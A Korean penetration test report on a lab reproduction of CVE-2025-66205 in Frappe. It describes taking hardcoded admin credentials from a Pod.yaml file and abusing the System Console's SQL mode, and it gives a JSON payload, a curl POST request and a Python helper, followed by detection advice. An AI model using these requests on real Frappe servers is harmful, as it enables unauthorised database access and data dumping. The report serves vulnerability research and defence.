Frappe 침투 테스트 보고서
작성자: 최민재
목차
-
침투 테스트 수행 정보
1.1. 개요
1.2. 대상
1.3. 수행 기간
1.4. 수행 인력
-
침투 테스트 결과
-
취약점 상세 내용
3.1. 요약
3.2. 킬 체인 시나리오
3.3. 보안 패치 / 대응 방법
1. 침투 테스트 수행 정보
1.1. 개요
- CVE-2025-66205 Frappe 침투 테스트 결과 보고서
- CVE 취약점에 관한 연구를 목적으로 함
- 재현 환경 URL 및 IP는 Blue Team에서 제공
1.2. 대상
본 침투 테스트의 대상은 CVE-2025-66205 취약점을 포함하도록 구성된 웹 애플리케이션 및 해당 애플리케이션이 배포된 Kubernetes 기반 재현 환경임.
웹 애플리케이션은 Docker 컨테이너 형태로 패키징되었으며, Kubernetes 클러스터 상에서 서비스 형태로 배포되어 외부 접근이 가능하도록 구성됨.
| 플랫폼 | 재현 환경 | URL |
|---|---|---|
| Web | Kubernetes | https://prisoners-magic-leasing-larger.trycloudflare.com/ |
1.3. 수행 기간
2025년 12월 22일 ~ 2025년 12월 30일
1.4. 수행 인력
| 소속 | 성명 | 담당 업무 |
|---|---|---|
| Red Team | 최민재 | Frappe 침투 테스트 |
2. 침투 테스트 결과
본 침투 테스트는 ‘CVE-2025-66205 Frappe SQL Injection Authentication Bypass Vulnerability’를 재현한 환경에서 취약성 증명 및 연구 목적으로 진행함.
| No. | 경로 | 결과 |
|---|---|---|
| 1 | 설정 파일 (Pod.yaml) | 관리자 비밀번호 유출 |
| 2 | System Console | 임의 SQL 쿼리 실행 성 |
3. 침투 테스트 결과
3.1. 요약
본 침투 테스트는 관리자 계정 탈취 후 시스템 기능을 악용한 보안 우회 시나리오 기반으로 수행되었습니다.
공격자는 파일 유출로 획득한 관리자 권한을 이용하여 System Console에 접근하였습니다.
SQL 쿼리 실행 모드에 대한 검증이 미흡한 점을 이용하여 보안 정책을 우회하였습니다.
3.2. 킬 체인 시나리오
3.2.1. 정찰 타깃 웹 애플리케이션이 Frappe 오픈소스 기반 식별
설정 파일(Pod.yaml)에서 하드코딩된 관리자 계정(Administrator / admin) 확보
관리자 페이지 내 System Console 기능 존재 확인
3.2.2. 무기화 (payload)
Frappe System Console에 python 실행 모드 차단이나 SQL 실행 모드는 검증 로직 미흡
{
"doctype": "System Console",
"type": "SQL",
"console": "SELECT @@version"
}
3.2.3. 전달
인증된 관리자 세션 쿠키(sid)를 포함하여 HTTP POST 요청 전송
curl -v -b cookies.txt -X POST "https://target-url.com/api/method/frappe.desk.doctype.system_console.system_console.execute_code" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'doc={"doctype":"System Console", "type":"SQL", "console":"SELECT @@version"}'
3.2.4. 악용
서버에서 doc 파라미터를 처리할 때 type이 SQL인 경우 보안 검사를 건너뛰고 호출
3.2.5. 설치
curl로 연결하는 대신 지속적인 쿼리 실행을 위해 python 스크립트 작성
def execute_sql(self, sql_query):
payload = {
"doctype": "System Console",
"type": "SQL",
"console": sql_query
}
data = {"doc": json.dumps(payload)}
self.session.post(target_endpoint, data=data)
3.2.6. C2
웹 서버의 정상적인 HTTP 응답 프로토콜을 C2 채널로 활용
{
"message": {
"type": "SQL",
"output": "[['10.6.24-MariaDB-ubu2204']]"
}
}
3.2.7. 목표에 대한 행동
핵심 데이터베이스 정보 덤프 가능
3.3. 보안 패치 / 대응 방법
-
API 감사로그 활성화
/api/method/frappe.desk.doctype.system_console.system_console.execute_code 엔드포인트로 향하는 POST 요청 모니터링
-
이상 징후 탐지
관리자 계정이 다른 IP에서 로그인하거나 System Console을 실행하는 행위 탐지
쿼리 로그에서 의심스러운 SQL 패턴 감지